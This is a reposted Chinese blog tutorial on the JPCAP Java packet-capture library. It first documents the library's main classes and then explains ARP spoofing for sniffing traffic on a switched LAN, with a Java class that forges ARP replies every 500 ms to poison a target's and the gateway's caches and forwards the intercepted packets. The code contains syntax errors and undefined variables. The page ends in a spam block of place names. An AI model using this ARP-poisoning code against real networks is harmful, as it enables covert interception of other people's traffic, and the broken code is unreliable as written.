posts - 66, comments - 12, trackbacks - 0, articles - 0

          JPCAP簡介(轉)

          Posted on 2009-01-09 23:45 cyantide 閱讀(1960) 評論(0)  編輯  收藏 所屬分類: 網絡相關技術

          一.JPCAP簡介

            眾所周知,Java語言雖然在TCP/UDP傳輸方面給予了良好的定義,但對于網絡層以下的控制,卻是無能為力的。JPCAP擴展包彌補了這一點。

            JPCAP實際上并非一個真正去實現對數據鏈路層的控制,而是一個中間件,JPCAP調用wincap/libpcap,而給JAVA語言提供一個公共的接口,從而實現了平臺無關性。在官方網站上聲明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft windows 2000/XP等系統。

            二.JPCAP機制

            JPCAP的整個結構大體上跟wincap/libpcap是很相像的,例如NetworkInterface類對應wincap的typedef strUCt _ADAPTERADAPTER,getDeviceList()對應pcap_findalldevs()等等。 JPCAP有16個類,下面就其中最重要的4個類做說明。

            1.NetworkInterface

            該類的每一個實例代表一個網絡設備,一般就是網卡。這個類只有一些數據成員,除了繼續自java.lang.Object的基本方法以外,沒有定義其它方法。


          數據成員
           
          NetworkInterfaceAddress[]
           
          java.lang.String
           datalink_description.
          數據鏈路層的描述。描述所在的局域網是什么網。例如,以太網(Ethernet)、無線LAN網(wireless LAN)、令牌環網(token ring)等等。
           
          java.lang.String
           datalink_name
          該網絡設備所對應數據鏈路層的名稱。具體來說,例如Ethernet10M、100M、1000M等等。
           
          java.lang.String
           description
          網卡是XXXX牌子XXXX型號之類的描述。例如我的網卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC
           
          boolean
           Loopback
          標志這個設備是否loopback設備。
           
          byte[]
           mac_address
          網卡的MAC地址,6個字節。
           
          java.lang.String
           Name
          這個設備的名稱。例如我的網卡名稱:\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
           

            2.JpcapCaptor

            該類提供了一系列靜態方法實現一些基本的功能。該類一個實例代表建立了一個與指定設備的鏈接,可以通過該類的實例來控制設備,例如設定網卡模式、設定過濾要害字等等。


          數據成員
           
          int
           
          dropped_packets

          拋棄的包的數目。
           
          protected int
           
          ID

          這個數據成員在官方文檔中并沒有做任何說明,查看JPCAP源代碼可以發現這個ID實際上在其JNI的C代碼部分傳進來的,這類本身并沒有做出定義,所以是供其內部使用的。實際上在對JpcapCator實例的使用中也沒有辦法調用此數據成員。
           
          protected staticboolean[]
           
          instanciatedFlag

          同樣在官方文檔中沒有做任何說明,估計其為供內部使用。
           
          protected staticint
           
          MAX_NUMBER_OF_INSTANCE

          同樣在官方文檔中沒有做任何說明,估計其為供內部使用。
           
          int
           
          received_packets
          收到的包的數目
           

          方法成員
           
          staticNetworkInterface[]
           
          getDeviceList()
          返回一個網絡設備列表。
           
          staticJpcapCaptor
           
          openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms)
          創建一個與指定設備的連接并返回該連接。注重,以上兩個方法都是靜態方法。

          Interface:要打開連接的設備的實例;

          Snaplen:這個是比較輕易搞混的一個參數。其實這個參數不是限制只能捕捉多少數據包,而是限制每一次收到一個數據包,只提取該數據包中前多少字節;

          Promisc:設置是否混雜模式。處于混雜模式將接收所有數據包,若之后又調用了包過濾函數setFilter()將不起任何作用;

          To_ms:這個參數主要用于processPacket()方法,指定超時的時間;
           
          void
           
          Close()
          關閉調用該方法的設備的連接,相對于openDivece()打開連接。
           
          JpcapSender
           
          getJpcapSenderInstance()
          該返回一個JpcapSender實例,JpcapSender類是專門用于控制設備的發送數據包的功能的類。
           
          Packet
           
          getPacket()
          捕捉并返回一個數據包。這是JpcapCaptor實例中四種捕捉包的方法之一。
           
          int
           
          loopPacket(intcount, PacketReceiver handler)
          捕捉指定數目的數據包,并交由實現了PacketReceiver接口的類的實例處理,并返回捕捉到的數據包數目。假如count參數設為-1,那么無限循環地捕捉數據。

          這個方法不受超時的影響。還記得openDivice()中的to_ms參數么?那個參數對這個方法沒有影響,假如沒有捕捉到指定數目數據包,那么這個方法將一直阻塞等待。
          PacketReceiver中只有一個抽象方法void receive(Packet p)。
           
          int
           
          processPacket(intcount, PacketReceiver handler)
          跟loopPacket()功能一樣,唯一的區別是這個方法受超時的影響,超過指定時間自動返回捕捉到數據包的數目。
           
          int
           
          dispatchPacket(intcount, PacketReceiverhandler)
          跟processPacket()功能一樣,區別是這個方法可以處于“non-blocking”模式工作,在這種模式下dispatchPacket()可能立即返回,即使沒有捕捉到任何數據包。
           
          void
           
          setFilter(java.lang.Stringcondition, booleanoptimize)
          .condition:設定要提取的包的要害字。

          Optimize:這個參數在說明文檔以及源代碼中都沒有說明,只是說這個參數假如為真,那么過濾器將處于優化模式。
           
          void
           
          setNonBlockingMode(booleannonblocking)

          假如值為“true”,那么設定為“non-blocking”模式。
           
          void
           
          breakLoop()

          當調用processPacket()和loopPacket()后,再調用這個方法可以強制讓processPacket()和loopPacket()停止。
           

            3.JpcapSender

            該類專門用于控制數據包的發送。


          方法成員
           
          void
           
          close()
          強制關閉這個連接。
           
          staticJpcapSender
           
          openRawSocket()

          這個方法返回的JpcapSender實例發送數據包時將自動填寫數據鏈路層頭部分。
           
          void
           
          sendPacket(Packet packet)
          JpcapSender最重要的功能,發送數據包。需要注重的是,假如調用這個方法的實例是由JpcapCaptor的getJpcapSenderInstance()得到的話,需要自己設定數據鏈路層的頭,而假如是由上面的openRawSocket()得到的話,那么無需也不能設置,數據鏈路層的頭部將由系統自動生成。
           

            4.Packet

            這個是所有其它數據包類的父類。Jpcap所支持的數據包有:
          ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

            三.使用JPCAP實現監聽

            1.監聽原理 

            在具體說用JPCAP實現網絡監聽實現前,先簡單介紹下監聽的原理。

            局域網監聽利用的是所謂的“ARP欺騙”技術。在以前曾經一段階段,局域網的布局是使用總線式(或集線式)結構,要到達監聽只需要將網卡設定為混雜模式即可,但現在的局域網絡普遍采用的是交換式網絡,所以單純靠混雜模式來達到監聽的方法已經不可行了。所以為了達到監聽的目的,我們需要“欺騙”路由器、“欺騙”交換機,即“ARP欺騙”技術。

            假設本機為A,監聽目標為B。

            首先,偽造一個ARP REPLY包,數據鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址,而源IP部分填入網關IP,目的地址填入B的MAC、IP,然后將這個包發送給B,而B接收到這個偽造的ARP REPLY包后,由于源IP為網關IP,于是在它的ARP緩存表里刷新了一項,將(網關IP,網關MAC)刷新成(網關IP,A的MAC)。而B要訪問外部的網都需要經過網關,這時候這些要經過網關的包就通通流到A的機器上來了。

            接著,再偽造一個ARP REPLY包,數據鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入網關MAC、IP,然后將這個包發給網關,網關接收到這個偽造的ARP REPLY包后,由于源IP為B的IP,于是在它的ARP緩存表里刷新了一項,將(B的IP,B的MAC)刷新成(B的IP,A的MAC)。這時候外部傳給B的數據包經過網關時,就通通轉發給A。

            這樣還只是攔截了B的數據包而已,B并不能上網——解決方法是將接收到的包,除了目的地址部分稍做修改,其它原封不動的再轉發出去,這樣就達到了監聽的目的——在B不知不覺中瀏覽了B所有的對外數據包。

            ARP數據包解析

            單元:Byte


          Ethernet頭部
           
          ARP數據部分
           

          6
           
          6
           
          2
           
          2
           
          2
           
          2
           
          2
           
          4
           
          6
           
          4
           
          6
           

          目標MAC地址
           
          源地MAC地址
           
          類型號0x0800:ip

          0x0806:ARP
           
          局域網類型

          以太網0x0001
           
          網絡協議類型

          IP網絡0x0800
           
          MAC/IP地址長度,恒為0x06/04
           
          ARP包類型

          REPLY

          0x0002
           
          ARP目標IP地址
           
          ARP目標MAC 地址
           
          ARP源IP地址
           
          ARP源MAC地址
           

            2.用JPCAP實現監聽

            就如上面說的,為了實現監聽,我們必須做四件事:

            A.發送ARP包修改B的ARP緩存表;

            B.發送ARP包修改路由ARP緩存表;

            C.轉發B發過來的數據包;

            D.轉發路由發過來的數據包;

            下面我們給個小小的例子說明怎樣實現。

            我們假定運行這個程序的機器A只有一個網卡,只接一個網絡,所在局域網為Ethernet,并且假定已經通過某種方式獲得B和網關的MAC地址(例如ARP解析獲得)。我們修改了B和網關的ARP表,并對他們的包進行了轉發。

           

          public class changeARP{
           
          private NetworkInterface[] devices; //設備列表
           private NetworkInterface device; //要使用的設備
           private JpcapCaptor jpcap; //與設備的連接
           private JpcapSender sender; //用于發送的實例
           private byte[] targetMAC, gateMAC; //B的MAC地址,網關的MAC地址
           private byte[] String targetIp, String gateIp; //B的IP地址,網關的IP地址
           /**
           *初始化設備
           * JpcapCaptor.getDeviceList()得到設備可能會有兩個,其中一個必定是“Generic 
           *dialup adapter”,這是windows系統的虛擬網卡,并非真正的硬件設備。

           *注重:在這里有一個小小的BUG,假如JpcapCaptor.getDeviceList()之前有類似JFrame jf=new
           *JFame()這類的語句會影響得到設備個數,只會得到真正的硬件設備,而不會出現虛擬網卡。
           *虛擬網卡只有MAC地址而沒有IP地址,而且假如出現虛擬網卡,那么實際網卡的MAC將分
           *配給虛擬網卡,也就是說在程序中調用device. mac_address時得到的是00 00 00 00 00 00。

           
          */


           
          private NetworkInterface getDevice() throws IOException {
            devices 
          = JpcapCaptor.getDeviceList(); //獲得設備列表
            device = devices[0];//只有一個設備
            jpcap = JpcapCaptor.openDevice(device, 2000false10000); //打開與設備的連接
            jpcap.setFilter(“ip”,true); //只監聽B的IP數據包
            sender = captor.getJpcapSenderInstance();
           }

           
          /**
           *修改B和網關的ARP表。因為網關會定時發數據包刷新自己和B的緩存表,所以必須每隔一
           *段時間就發一次包重新更改B和網關的ARP表。
           *@參數 targetMAC B的MAC地址,可通過ARP解析得到;
           *@參數 targetIp B的IP地址;
           *@參數 gateMAC 網關的MAC地址;
           
          */


           
          public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
           
          throws UnknownHostException,InterruptedException {
            
          this. targetMAC = targetMAC;
            
          this. targetIp = targetIp;
            
          this. gateMAC = gateMAC;
            
          this. gateIp = gateIp;
            getDevice();
            arpTarget 
          = new ARPPacket(); //修改B的ARP表的ARP包
            arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //選擇以太網類型(Ethernet)
            arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //選擇IP網絡協議類型
            arpTarget.operation = ARPPacket.ARP_REPLY; //選擇REPLY類型
            arpTarget.hlen = 6//MAC地址長度固定6個字節
            arpTarget.plen = 4//IP地址長度固定4個字節
            arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
            arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //網關IP

            arpTarget.target_hardaddr 
          = targetMAC; //B的MAC地址
            arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP

            EthernetPacket ethToTarget 
          = new EthernetPacket(); //創建一個以太網頭
            ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//選擇以太包類型
            ethToTarget.src_mac = device.mac_address; //A的MAC地址
            ethToTarget.dst_mac = targetMAC; //B的MAC地址
            arpTarget.datalink = ethToTarget; //將以太頭添加到ARP包前
            arpGate = new ARPPacket(); //修改網關ARP表的包
            arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再重復注析
            arpGate.prototype = ARPPacket.PROTOTYPE_IP;
            arpGate.operation 
          = ARPPacket.ARP_REPLY;
            arpGate.hlen 
          = 6;
            arpGate.plen 
          = 4;
            arpGate.sender_hardaddr 
          = device.mac_address;
            arpGate.sender_protoaddr 
          = InetAddress.getByName(targetIp).getAddress();
            arpGate.target_hardaddr 
          = gateMAC;
            arpGate.target_protoaddr 
          = InetAddress.getByName(gateIp).getAddress();
            EthernetPacket ethToGate 
          = new EthernetPacket();
            ethToGate.frametype 
          = EthernetPacket.ETHERTYPE_ARP;
            ethToGate.src_mac 
          = device.mac_address;
            ethToGate.dst_mac 
          = gateMAC;
            arpGate.datalink 
          = ethToGate;
            thread
          =new Thread(new Runnable()//創建一個進程控制發包速度
            public void run() {
             
          while (true{
              sender.sendPacket(arpTarget);
              sender.sendPacket(arpGate);
              Thread.sleep(
          500);
             }
          ).start();
             recP(); 
          //接收數據包并轉發
            }

            
          /**
            *修改包的以太頭,轉發數據包
            *參數 packet 收到的數據包
            *參數 changeMAC 要轉發出去的目標
            
          */

            
          private void send(Packet packet, byte[] changeMAC) 
             EthernetPacket eth;
             
          if (packet.datalink instanceof EthernetPacket) {
              eth 
          = (EthernetPacket) packet.datalink;
              
          for (int i = 0; i < 6; i++{
               eth.dst_mac[i] 
          = changeMAC[i]; //修改包以太頭,改變包的目標
               eth.src_mac[i] = device.mac_address[i]; //源發送者為A
              }

              sender.sendPacket(packet);
             }

            }

            
          /**
            *打印接受到的數據包并轉發
            
          */

            
          public void recP(){
             IPPacket ipPacket 
          = null;
             
          while(true){
              ipPacket 
          = (IPPacket)jpcap.getPacket();
              System.out.println(ipPacket);
              
          if (ipPacket.src_ip.getHostAddress().equals(targetIp))
               send(packet, gateMAC);
              
          else
               send(packet, targetMAC);
             }

            }


            注重:這個例子只是為了說明問題,并沒有考慮到程序的健壯性,所以并不一定能在任何一臺機器任何一個系統上運行。


          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          主站蜘蛛池模板: 新干县| 邵武市| 扎赉特旗| 兴安盟| 渝中区| 祁东县| 申扎县| 迁西县| 如东县| 湖州市| 屏山县| 高要市| 平舆县| 临江市| 甘孜| 班戈县| 铜鼓县| 石楼县| 洛扎县| 项城市| 阿拉尔市| 缙云县| 林芝县| 福建省| 会泽县| 富锦市| 永修县| 稻城县| 鲁甸县| 石柱| 利辛县| 临海市| 滨州市| 进贤县| 高唐县| 黑山县| 玉田县| 尖扎县| 耒阳市| 湖州市| 吕梁市|